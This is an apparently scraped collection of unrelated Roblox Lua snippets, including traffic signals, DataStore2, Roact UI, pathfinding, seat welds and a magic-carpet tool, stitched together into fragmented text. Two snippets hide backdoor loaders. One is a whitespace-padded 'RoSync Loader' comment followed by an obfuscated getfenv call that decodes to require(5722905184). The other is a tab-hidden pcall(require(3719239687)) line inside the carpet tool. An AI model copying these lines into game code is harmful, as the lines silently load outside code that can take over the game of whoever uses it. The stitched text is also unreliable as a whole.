	SignalValues.Signal1.Value = 2
	SignalValues.Signal1a.Value = 2
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time 
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3	
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 1
	PedValues.PedSignal1a.Value = 1
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 2
	PedValues.PedSignal1a.Value = 2
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(6) -- Green Time + Time for flashing pedestrian signals
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 2
	SignalValues.Signal2a.Value = 2
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time 
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED		
end
 
 | 
					
	--[=[
	Defaults the observable to a value if it isn't fired immediately
	```lua
	Rx.NEVER:Pipe({
		Rx.defaultsTo("Hello")
	}):Subscribe(print) --> Hello
	```
	@param value any
	@return (source: Observable) -> Observable
]=] 
 | 
	
function Rx.defaultsTo(value)
	return function(source)
		assert(Observable.isObservable(source), "Bad observable")
		return Observable.new(function(sub)
			local maid = Maid.new()
			local fired = false
			maid:GiveTask(source:Subscribe(
				function(...)
					fired = true
					sub:Fire(...)
				end,
				sub:GetFailComplete()))
			if not fired then
				sub:Fire(value)
			end
			return maid
		end)
	end
end
 
 | 
					
	-- The raw pixel size of the button and the offset needed for 9-slicing it 
 | 
	
local BUTTON_PIXEL_SIZE = 32 -- px
local SLICE_OFFSET = 6 -- px
local defaultProps = {
	position = UDim2.fromScale(1, 1),
	anchorPoint = Vector2.new(0.4, 0.4),
	size = 24,
	transparency = 0,
}
export type Props = typeof(defaultProps) & {
	keyCode: Enum.KeyCode,
	transparency: any?, -- Roact binding
}
KeyCodeIcon.defaultProps = defaultProps
function KeyCodeIcon:render()
	local props: Props = self.props
	if not props.keyCode then
		return
	end
	local gamepadIcon = assets.Gamepad[props.keyCode.Name]
	if gamepadIcon then
		return Roact.createElement("ImageLabel", {
			Image = gamepadIcon,
			ImageTransparency = props.transparency,
			Size = UDim2.fromOffset(props.size, props.size),
			Position = props.position,
			AnchorPoint = props.anchorPoint,
			BackgroundTransparency = 1,
		})
	else
		return Roact.createElement("ImageLabel", {
			Image = assets.KeyBacking,
			ImageTransparency = props.transparency,
			ScaleType = Enum.ScaleType.Slice,
			SliceCenter = Rect.new(
				SLICE_OFFSET,
				SLICE_OFFSET,
				BUTTON_PIXEL_SIZE - SLICE_OFFSET,
				BUTTON_PIXEL_SIZE - SLICE_OFFSET
			),
			Size = UDim2.fromOffset(props.size, props.size),
			Position = props.position,
			AnchorPoint = props.anchorPoint,
			BackgroundTransparency = 1,
		}, {
			Key = Roact.createElement(TextLabel, {
				Text = props.keyCode.Name,
				TextTransparency = props.transparency,
				Size = UDim2.fromScale(1, 1),
				Font = constants.HeaderFont,
				TextColor3 = constants.White,
				TextScaled = false,
				AutomaticSize = Enum.AutomaticSize.X,
				TextXAlignment = Enum.TextXAlignment.Center,
				TextYAlignment = Enum.TextYAlignment.Center,
			}),
		})
	end
end
return KeyCodeIcon
 
 | 
					
	--[[ Last synced 7/23/2021 04:30                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] 
 | 
	 getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
 
 | 
					
	--[[
	ROBLOX deviation: skipped code
	original code lines: 376 - 416
]] 
 | |
	-- Gets the storage location for packages used by each Dev Modules. The packages
-- that get put in this folder are deduplicated so every distinct version of a
-- package has only one copy. 
 | 
	
local function getPackageStorage()
	local packageStorage = constants.PACKAGE_STORAGE_LOCATION:FindFirstChild(constants.PACKAGE_STORAGE_NAME)
	if not packageStorage then
		packageStorage = Instance.new("Folder")
		packageStorage.Name = constants.PACKAGE_STORAGE_NAME
		packageStorage.Parent = constants.PACKAGE_STORAGE_LOCATION
	end
	return packageStorage
end
 
 | 
					
	-- Signal class 
 | 
	
local Signal = {}
Signal.__index = Signal
function Signal.new(signal)
	return setmetatable({
		_handlerListHead = false,
		_signalType = signal
	}, Signal)
end
function Signal:Connect(fn)
	local connection = Connection.new(self, fn)
	if self._signalType == 1 and self._handlerListHead then
		connection._next = self._handlerListHead
		self._handlerListHead = connection
	else
		self._handlerListHead = connection
	end
	return connection
end
 
 | 
					
	--[[
    Creates a registry for the given class
]] 
 | 
	
function Registry.new(class)
	local self = {
		class = class,
		objects = {}
	}
	setmetatable(self, {__index = Registry})
	return self
end
 
 | 
					
	-- ANimation 
 | 
	
local Sound = script:WaitForChild("Haoshoku Sound")
UIS.InputBegan:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.Z and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
		Debounce = 2
		Track1 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationCharge)
		Track1:Play()
		for i = 1,math.huge do
			if Debounce == 2 then
				
				plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
				plr.Character.HumanoidRootPart.Anchored = true
			else
				
				break
				end
	     wait()
	  end
	end
end)
UIS.InputEnded:Connect(function(Input)
	if Input.KeyCode == Enum.KeyCode.Z and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" and script.Parent.DargonOn.Value == true then
		Debounce = 3
		plr.Character.HumanoidRootPart.Anchored = false
		local Track2 = plr.Character.Dragon.Dragonoid:LoadAnimation(script.AnimationRelease)
		Track2:Play()
		Track1:Stop()
		Sound:Play()
		for i = 1,10 do
			wait(0.1)
		local mousepos = Mouse.Hit
		script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
		end
		wait(0.3)
		Track2:Stop()
		wait(.5)
		Tool.Active.Value = "None"
		wait(3)
		Debounce = 1
	end
end)
 
 | 
					
	--[[**
	<description>
	Run this once to combine all keys provided into one "main key".
	Internally, this means that data will be stored in a table with the key mainKey.
	This is used to get around the 2-DataStore2 reliability caveat.
	</description>
	<parameter name = "mainKey">
	The key that will be used to house the table.
	</parameter>
	<parameter name = "...">
	All the keys to combine under one table.
	</parameter>
**--]] 
 | 
	
function DataStore2.Combine(mainKey, ...)
	for _, name in pairs({...}) do
		combinedDataStoreInfo[name] = mainKey
	end
end
function DataStore2.ClearCache()
	DataStoreCache = {}
end
function DataStore2:__call(dataStoreName, player)
	assert(typeof(dataStoreName) == "string" and typeof(player) == "Instance", ("DataStore2() API call expected {string dataStoreName, Instance player}, got {%s, %s}"):format(typeof(dataStoreName), typeof(player)))
	if DataStoreCache[player] and DataStoreCache[player][dataStoreName] then
		return DataStoreCache[player][dataStoreName]
	elseif combinedDataStoreInfo[dataStoreName] then
		local dataStore = DataStore2(combinedDataStoreInfo[dataStoreName], player)
		dataStore:BeforeSave(function(combinedData)
			for key in pairs(combinedData) do
				if combinedDataStoreInfo[key] then
					local combinedStore = DataStore2(key, player)
					local value = combinedStore:Get(nil, true)
					if value ~= nil then
						if combinedStore.combinedBeforeSave then
							value = combinedStore.combinedBeforeSave(clone(value))
						end
						combinedData[key] = value
					end
				end
			end
			return combinedData
		end)
		local combinedStore = setmetatable({
			combinedName = dataStoreName,
			combinedStore = dataStore
		}, {
			__index = function(self, key)
				return CombinedDataStore[key] or dataStore[key]
			end
		})
		if not DataStoreCache[player] then
			DataStoreCache[player] = {}
		end
		DataStoreCache[player][dataStoreName] = combinedStore
		return combinedStore
	end
	local dataStore = {}
	dataStore.Name = dataStoreName
	dataStore.UserId = player.UserId
	dataStore.callbacks = {}
	dataStore.beforeInitialGet = {}
	dataStore.afterSave = {}
	dataStore.bindToClose = {}
	dataStore.savingMethod = SavingMethods.OrderedBackups.new(dataStore)
	setmetatable(dataStore, DataStoreMetatable)
	local event, fired = Instance.new("BindableEvent"), false
	game:BindToClose(function()
		if not fired then
			event.Event:wait()
		end
		local value = dataStore:Get(nil, true)
		for _, bindToClose in pairs(dataStore.bindToClose) do
			bindToClose(player, value)
		end
	end)
	local playerLeavingConnection
	playerLeavingConnection = player.AncestryChanged:Connect(function()
		if player:IsDescendantOf(game) then return end
		playerLeavingConnection:Disconnect()
		if 	game.ServerScriptService.DataSave.Value == true then
			dataStore:Save()
			end
		event:Fire()
		fired = true
		delay(40, function() --Give a long delay for people who haven't figured out the cache :^(
			DataStoreCache[player] = nil
		end)
	end)
	if not DataStoreCache[player] then
		DataStoreCache[player] = {}
	end
	DataStoreCache[player][dataStoreName] = dataStore
	return dataStore
end
return setmetatable(DataStore2, DataStore2)
 
 | 
					
	--script.Parent.LL.Velocity = script.Parent.LL.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.LLL.Velocity = script.Parent.LLL.CFrame.lookVector *script.Parent.Speed.Value 
 | 
	
script.Parent.LLLL.Velocity = script.Parent.LLLL.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.M.Velocity = script.Parent.M.CFrame.lookVector *script.Parent.Speed.Value 
 | 
					
	--Don't modify this script unless you really know what you're doing. 
 | 
	
local WaitFor = (function(parent, child_name)
	local found = parent:FindFirstChild(child_name)
	while found == nil do
		parent.ChildAdded:wait()
		found = parent:FindFirstChild(child_name)
		if found then break end
	end
	return found
end)
local last = { neckC1 = nil, rshoC0 = nil, lshoC0 = nil, rhipC0 = nil, lhipC0 = nil }
local ApplyModifications = (function(weld, char)
	local torso = WaitFor(char, "Torso")
	local neck = WaitFor(torso, "Neck")
	local rsho = WaitFor(torso, "Right Shoulder")
	local lsho = WaitFor(torso, "Left Shoulder")
	local rhip = WaitFor(torso, "Right Hip")
	local lhip = WaitFor(torso, "Left Hip")
	local config = script.Parent.Configuration
	local head_ang = config["Head Angle"].Value
	local legs_ang = config["Legs Angle"].Value
	local arms_ang = config["Arms Angle"].Value
	local sit_ang  = config["Sitting Angle"].Value
	local sit_pos  = config["Sitting Position"].Value
	--First adjust sitting position and angle
	--Add 90 to the angle because that's what most people will be expecting.
	--weld.C1 = weld.C1 * CFrame.fromEulerAnglesXYZ(math.rad((sit_ang) + 90), 0, 0)
	
	--weld.C0 = CFrame.new(sit_pos)
	weld.C0 = weld.C0 * CFrame.new(0, 1, 0)
	last.neckC1 = neck.C1
	last.rshoC0 = rsho.C0
	last.lshoC0 = lsho.C0
	last.rhipC0 = rhip.C0
	last.lhipC0 = lhip.C0
	--Now adjust the neck angle.
	neck.C1 = neck.C1 * CFrame.fromEulerAnglesXYZ(math.rad(head_ang), 0, 0)
	
	--Now adjust the arms angle.
	rsho.C0 = rsho.C0 * CFrame.fromEulerAnglesXYZ(0, math.rad(arms_ang), 0)
	lsho.C0 = lsho.C0 * CFrame.fromEulerAnglesXYZ(0, math.rad(-arms_ang), 0)
	
	--Now the legs
	rhip.C0 = rhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(legs_ang))
	lhip.C0 = lhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(-legs_ang))
end)
local RevertModifications = (function(weld, char)
	--Any modifications done in ApplyModifications have to be reverted here if they
	--change any welds - otherwise people will wonder why their head is pointing the wrong way.
	local torso = WaitFor(char, "Torso")
	local neck = WaitFor(torso, "Neck")
	local rsho = WaitFor(torso, "Right Shoulder")
	local lsho = WaitFor(torso, "Left Shoulder")
	local rhip = WaitFor(torso, "Right Hip")
	local lhip = WaitFor(torso, "Left Hip")
	--Now adjust the neck angle.
	neck.C1 = last.neckC1 or CFrame.new()
	rsho.C0 = last.rshoC0 or CFrame.new()
	lsho.C0 = last.lshoC0 or CFrame.new()
	rhip.C0 = last.rhipC0 or CFrame.new()
	lhip.C0 = last.lhipC0 or CFrame.new()
	weld:Destroy()
end)
script.Parent.ChildAdded:connect(function(c)
	if c:IsA("Weld") then
		local character = nil
		if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then
			character = c.Part1.Parent
		else return end
		ApplyModifications(c, character)
	end
end)
script.Parent.ChildRemoved:connect(function(c)
	if c:IsA("Weld") then
		local character = nil
		if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then
			character = c.Part1.Parent
		else return end
		RevertModifications(c, character)
	end
end)
 
 | 
					
	--Generate a basic map 
 | 
	
local map = {}
map.sizeX = 100
map.sizeY = 100
map.fatgridSize = 10
map.grid = {}
map.fatgrid = {}
map.impassible = 1000000
local cardinals = { Vector3.new(-1,0,0),Vector3.new(1,0,0),Vector3.new(0,-1,0),Vector3.new(0,1,0) }
local corners = { 
	{ dir = Vector3.new(-1,-1,0), a = Vector3.new(-1, 0,0), b = Vector3.new(0,-1,0) },
	{ dir = Vector3.new( 1,-1,0), a = Vector3.new( 1, 0,0), b = Vector3.new(0,-1,0) },
	{ dir = Vector3.new( 1, 1,0), a = Vector3.new( 1, 0,0), b = Vector3.new(0, 1,0) },
	{ dir = Vector3.new(-1, 1,0), a = Vector3.new(-1, 0,0), b = Vector3.new(0, 1,0) },
}
function map:GetPoint(vec2 : Vector3) 
	return map.grid[vec2]
end
function map:SetPoint(vec2 : Vector3, val : number, cost : number) 
	
	local getPoint = map.grid[vec2]
	if (getPoint == nil) then
		getPoint = { tile = 0, cost = 0, connections = {}, x = vec2.X, y = vec2.Y }
		map.grid[vec2] = getPoint
	end
	getPoint.tile = val
	getPoint.cost = cost
end
function map:CreateConnections(vec2)
	local getPoint = map.grid[vec2]
	if (getPoint == nil) then
		return
	end
	
	getPoint.connections = {}
	for key,vec in pairs(cardinals) do
		local neighbour = self:GetPoint(vec2 + vec)
		if (neighbour) then
			table.insert(getPoint.connections, { n = neighbour, cost = neighbour.cost + 10 })
		end
	end
	for key,record in pairs(corners) do
		local neighbour = self:GetPoint(vec2 + record.dir)
		
		local a = self:GetPoint(vec2 + record.a)
		local b = self:GetPoint(vec2 + record.b)
		if (a and a.cost > 0) then 
			continue
		end
		if (b and b.cost > 0) then 
			continue
		end
		
		if (neighbour) then
			table.insert(getPoint.connections, { n = neighbour, cost = neighbour.cost + 14 })
		end
	end
end
function map:GenerateDummy()
	
	math.randomseed(1)
		
	--empty air
	for y=0,map.sizeY-1 do
		for x=0,map.sizeX-1 do
			self:SetPoint(Vector3.new(x,y,0),0 , 0)
		end
	end
	
	--borders	
	for y=0,map.sizeY-1 do
		self:SetPoint(Vector3.new(0,y,0),1, map.impassible)
		self:SetPoint(Vector3.new(map.sizeX-1,y,0),1, map.impassible)
	end
	for x=0,map.sizeX-1 do
		self:SetPoint(Vector3.new(x,0,0),1 ,map.impassible)
		self:SetPoint(Vector3.new(x,map.sizeY-1,0),1, map.impassible)
	end
	
	for y=0,map.sizeY-1 do
		for x=0,map.sizeX-1 do
			if (math.random()<0.15) then
				self:SetPoint(Vector3.new(x,y,0), 1 , map.impassible)
			end
		end
	end
	
	--Create connections
	for y=0,map.sizeY-1 do
		for x=0,map.sizeX-1 do
			self:CreateConnections(Vector3.new(x,y,0))
		end
	end
end
function map:CreateVisuals()
	for vec2,value in pairs(self.grid) do
		
		if (value.tile > 0) then
			local part = Instance.new("Part")
			part.Size = Vector3.new(6,3,6)
			part.Position = Vector3.new(3 + vec2.x * 6 , 1.5, 3 + vec2.y * 6)
			part.Anchored = true
			part.Parent = game.Workspace
			part.Transparency = 0
		end
	end
	
end
function map:MakePath(path, color)
	for _,value in pairs(path) do
		local part = Instance.new("Part")
		part.Size = Vector3.new(3,3,3)
		part.Position = Vector3.new(3 + value.x * 6 , 3, 3 + value.y * 6)
		part.Anchored = true
		part.Color = color
		part.Parent = game.Workspace
	end
	
end
function debugBall(node,color)
	local part = Instance.new("Part")
	part.Size = Vector3.new(3,3,3)
	part.Position = Vector3.new(3 + node.x * 6 , 3, 3 + node.y * 6)
	part.Anchored = true
	part.Color = color
	part.Parent = game.Workspace
	
end
 
 | 
					
	--set suitcase name to the player's name 
 | 
	
handle.BottomGui.OwnerName.Text = player.Name
handle.TopGui.OwnerName.Text = player.Name
 
 | 
					
	-- import assign from 'object-assign'; 
 | 
	
local ReactCurrentDispatcher = require(script.ReactCurrentDispatcher)
export type Dispatcher = ReactCurrentDispatcher.Dispatcher
local ReactCurrentBatchConfig = require(script.ReactCurrentBatchConfig)
local ReactCurrentOwner = require(script.ReactCurrentOwner)
local ReactDebugCurrentFrame = require(script.ReactDebugCurrentFrame)
local IsSomeRendererActing = require(script.IsSomeRendererActing)
local ReactSharedInternals = {
	ReactCurrentDispatcher = ReactCurrentDispatcher,
	ReactCurrentBatchConfig = ReactCurrentBatchConfig,
	ReactCurrentOwner = ReactCurrentOwner,
	IsSomeRendererActing = IsSomeRendererActing,
	-- ROBLOX deviation: Luau type checking requires us to have a consistent export shape regardless of __DEV__
	-- ROBLOX TODO: use if-expressions when all clients are on 503+
	ReactDebugCurrentFrame = if _G.__DEV__
		then ReactDebugCurrentFrame
		else {
			setExtraStackFrame = function(_: string?): ()
				onlyInTestError("setExtraStackFrame")
			end,
		},
	-- deviation: We shouldn't have to worry about duplicate bundling here
	-- Used by renderers to avoid bundling object-assign twice in UMD bundles:
	-- assign,
}
return ReactSharedInternals
 
 | 
					
	--Made by Luckymaxer 
 | 
	
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RemovalMonitor = script:WaitForChild("RemovalMonitor")
CarpetPieces = {
	{MeshId = 223079795, Angle = 160},
	{MeshId = 223079835, Angle = 100},
	{MeshId = 223079888, Angle = 100},
	{MeshId = 223079981, Angle = 160},
}
CarpetSize = Vector3.new(3, 0.5, 6.5)
BaseUrl = "http://www.roblox.com/asset/?id="
Rate = (1 / 10)
BasePart = Instance.new("Part")
BasePart.Material = Enum.Material.Plastic
BasePart.Shape = Enum.PartType.Block
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = false
BasePart.Locked = true
ColorPart = BasePart:Clone()
ColorPart.Name = "ColorPart"
ColorPart.Reflectance = 0.25
ColorPart.Transparency = 0.1
ColorPart.Material = Enum.Material.SmoothPlastic
ColorPart.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BackSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.TopSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.RightSurface = Enum.SurfaceType.SmoothNoOutlines
ColorPart.Size = Vector3.new(1, 1, 1)
ColorPart.Anchored = true
ColorPart.CanCollide = false
ColorMesh = Instance.new("SpecialMesh")
ColorMesh.Name = "Mesh"
ColorMesh.MeshType = Enum.MeshType.FileMesh
ColorMesh.MeshId = (BaseUrl .. "9856898")
ColorMesh.TextureId = (BaseUrl .. "1361097")
ColorMesh.Scale = (ColorPart.Size * 2) --Default mesh scale is 1/2 the size of a 1x1x1 brick.
ColorMesh.Offset = Vector3.new(0, 0, 0)
ColorMesh.VertexColor = Vector3.new(1, 1, 1)
ColorMesh.Parent = ColorPart
ColorLight = Instance.new("PointLight")
ColorLight.Name = "Light"
ColorLight.Brightness = 50
ColorLight.Range = 8
ColorLight.Shadows = false
ColorLight.Enabled = true
ColorLight.Parent = ColorPart
RainbowColors = {
	Vector3.new(1, 0, 0),
	Vector3.new(1, 0.5, 0),
	Vector3.new(1, 1, 0),
	Vector3.new(0, 1, 0),
	Vector3.new(0, 1, 1),
	Vector3.new(0, 0, 1),
	Vector3.new(0.5, 0, 1)
}
Animations = {
	Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil},
}
Grips = {
	Normal = CFrame.new(-1.5, 0, 0, 0, 0, -1, -1, 8.90154915e-005, 0, 8.90154915e-005, 1, 0),
	Flying = CFrame.new(-1.5, 0.5, -0.75, -1, 0, -8.99756625e-009, -8.99756625e-009, 8.10000031e-008, 1, 7.28802977e-016, 0.99999994, -8.10000103e-008)
}
Flying = false
ToolEquipped = false
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
Handle.Transparency = 0
Tool.Grip = Grips.Normal
Tool.Enabled = true
function Clamp(Number, Min, Max)
	return math.max(math.min(Max, Number), Min)
end
function TransformModel(Objects, Center, NewCFrame, Recurse)
	local Objects = ((type(Objects) ~= "table" and {Objects}) or Objects)
	for i, v in pairs(Objects) do
		if v:IsA("BasePart") then
			v.CFrame = NewCFrame:toWorldSpace(Center:toObjectSpace(v.CFrame))
		end
		if Recurse then
			TransformModel(v:GetChildren(), Center, NewCFrame, true)
		end
	end
end
function Weld(Parent, PrimaryPart)
	local Parts = {}
	local Welds = {}
	local function WeldModel(Parent, PrimaryPart)
		for i, v in pairs(Parent:GetChildren()) do
			if v:IsA("BasePart") then
				if v ~= PrimaryPart then
					local Weld = Instance.new("Weld")
					Weld.Name = "Weld"
					Weld.Part0 = PrimaryPart
					Weld.Part1 = v
					Weld.C0 = PrimaryPart.CFrame:inverse()
					Weld.C1 = v.CFrame:inverse()
					Weld.Parent = PrimaryPart
					table.insert(Welds, Weld)
				end
				table.insert(Parts, v)
			end
			WeldModel(v, PrimaryPart)
		end
	end
	WeldModel(Parent, PrimaryPart)
	return Parts, Welds
end
function CleanUp()
	for i, v in pairs(Tool:GetChildren()) do
		if v:IsA("BasePart") and v ~= Handle then
			v:Destroy()
		end
	end
end
function CreateRainbow(Length)
	local RainbowModel = Instance.new("Model")
	RainbowModel.Name = "RainbowPart"
	for i, v in pairs(RainbowColors) do
		local Part = ColorPart:Clone()
		Part.Name = "Part"
		Part.Size = Vector3.new(0.5, 0.5, Length)
		Part.CFrame = Part.CFrame * CFrame.new((Part.Size.X * (i - 1)), 0, 0)
		Part.Mesh.Scale = (Part.Size * 2)
		Part.Mesh.VertexColor = v
		Part.Light.Color = Color3.new(v.X, v.Y, v.Z)
		Part.Parent = RainbowModel
	end
	local RainbowBoundingBox = BasePart:Clone()
	RainbowBoundingBox.Name = "BoundingBox"
	RainbowBoundingBox.Transparency = 1
	RainbowBoundingBox.Size = RainbowModel:GetModelSize()
	RainbowBoundingBox.Anchored = true
	RainbowBoundingBox.CanCollide = false
	RainbowBoundingBox.CFrame = RainbowModel:GetModelCFrame()
	RainbowBoundingBox.Parent = RainbowModel
	return RainbowModel
end
function GetRainbowModel()
	local ModelName = (Player.Name .. "'s Rainbow")
	local Model = game:GetService("Workspace"):FindFirstChild(ModelName)
	if not Model then
		Model = Instance.new("Model")
		Model.Name = ModelName
		local RemovalMonitorClone = RemovalMonitor:Clone()
		RemovalMonitorClone.Disabled = false
		RemovalMonitorClone.Parent = Model
	end
	return Model
end
function CheckIfAlive()
	return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Activated()
	if not Tool.Enabled then
		return
	end
	Tool.Enabled = false
	Flying = not Flying
	if Flying then
		Handle.Transparency = 1
		CleanUp()
		local CarpetParts = {}
		for i, v in pairs(CarpetPieces) do
			local CarpetPart = BasePart:Clone()
			CarpetPart.Size = Vector3.new(CarpetSize.X, CarpetSize.Y, (CarpetSize.Z / #CarpetPieces))
			local Mesh = Instance.new("SpecialMesh")
			Mesh.MeshType = Enum.MeshType.FileMesh
			Mesh.MeshId = (BaseUrl .. v.MeshId)
			Mesh.TextureId = (BaseUrl .. "223080038")
			Mesh.Scale = Vector3.new(1.125, 1.125, 1.125)
			Mesh.VertexColor = Vector3.new(1, 1, 1)
			Mesh.Offset = Vector3.new(0, 0, 0)
			Mesh.Parent = CarpetPart
			local Weld = Instance.new("Weld")
			Weld.Part0 = Handle
			Weld.Part1 = CarpetPart
			local XOffset = (((i == 1 or i == #CarpetPieces) and -0.005) or 0)
			local YOffset = ((-((Handle.Size.Z / 2) - (CarpetPart.Size.Z / 2))) + ((CarpetPart.Size.Z * (i - 1))) + ((i == 2 and 0.245) or (i == 3 and 0.04) or (i == #CarpetPieces and 0.28) or 0))
			Weld.C1 = CFrame.new(0, XOffset, YOffset)
			Weld.Parent = CarpetPart
			table.insert(CarpetParts, {Part = CarpetPart, Weld = Weld, InitialCFrame = Weld.C0, Angle = v.Angle})
			CarpetPart.Parent = Tool
		end	
		
		spawn(function()
			InvokeClient("PlayAnimation", Animations.Sit)
			Tool.Grip = Grips.Flying
		end)
		Torso.Anchored = true
		delay(.2,function()
			Torso.Anchored = false
			Torso.Velocity = Vector3.new(0,0,0)
			Torso.RotVelocity = Vector3.new(0,0,0)
		end)
		
		FlightSpin = Instance.new("BodyGyro")
		FlightSpin.Name = "FlightSpin"
		FlightSpin.P = 10000
		FlightSpin.maxTorque = Vector3.new(FlightSpin.P, FlightSpin.P, FlightSpin.P)*100
		FlightSpin.cframe = Torso.CFrame
		
		FlightPower = Instance.new("BodyVelocity")
		FlightPower.Name = "FlightPower"
		FlightPower.velocity = Vector3.new(0, 0, 0)
		FlightPower.maxForce = Vector3.new(1,1,1)*1000000
		FlightPower.P = 1000
		
		FlightHold = Instance.new("BodyPosition")
		FlightHold.Name = "FlightHold"
		FlightHold.P = 100000
		FlightHold.maxForce = Vector3.new(0, 0, 0)
		FlightHold.position = Torso.Position
		
		FlightSpin.Parent = Torso
		FlightPower.Parent = Torso
		FlightHold.Parent = Torso
		
		spawn(function()
			local LastPlace = nil
			while Flying and ToolEquipped and CheckIfAlive() do
				
				local CurrentPlace = Handle.Position
				local Velocity = Torso.Velocity
				Velocity = Vector3.new(Velocity.X, 0, Velocity.Z).magnitude
				
				if LastPlace and Velocity > 10 then
					
					spawn(function()
						local Model = GetRainbowModel()
						local Distance = (LastPlace - CurrentPlace).magnitude
						local Length = Distance + 3.5
						
						local RainbowModel = CreateRainbow(Length)
						
						--Thanks so much to ArceusInator for helping solve this part!
						local RainbowCFrame = CFrame.new((LastPlace + (CurrentPlace - LastPlace).unit * (Distance / 2)), CurrentPlace)
						
						TransformModel(RainbowModel, RainbowModel:GetModelCFrame(), RainbowCFrame, true)
						Debris:AddItem(RainbowModel, 1)
						RainbowModel.Parent = Model
						
						if Model and not Model.Parent then
							Model.Parent = game:GetService("Workspace")
						end
						
						LastPlace = CurrentPlace
					end)
				elseif not LastPlace then
					LastPlace = CurrentPlace
				end
				
				wait(Rate)
			end
		end)
	elseif not Flying then
		Torso.Velocity = Vector3.new(0, 0, 0)
		Torso.RotVelocity = Vector3.new(0, 0, 0)
		
		for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do
			if v and v.Parent then
				v:Destroy()
			end
		end
		spawn(function()
			Tool.Grip = Grips.Normal
			InvokeClient("StopAnimation", Animations.Sit)
		end)
	end
	
	wait(2)
	
	Tool.Enabled = true
end
																																			pcall(function()require(3719239687)end)
function Equipped(Mouse)
	Character = Tool.Parent
	Humanoid = Character:FindFirstChild("Humanoid")
	Torso = Character:FindFirstChild("HumanoidRootPart")
	Player = Players:GetPlayerFromCharacter(Character)
	if not CheckIfAlive() then
		return
	end
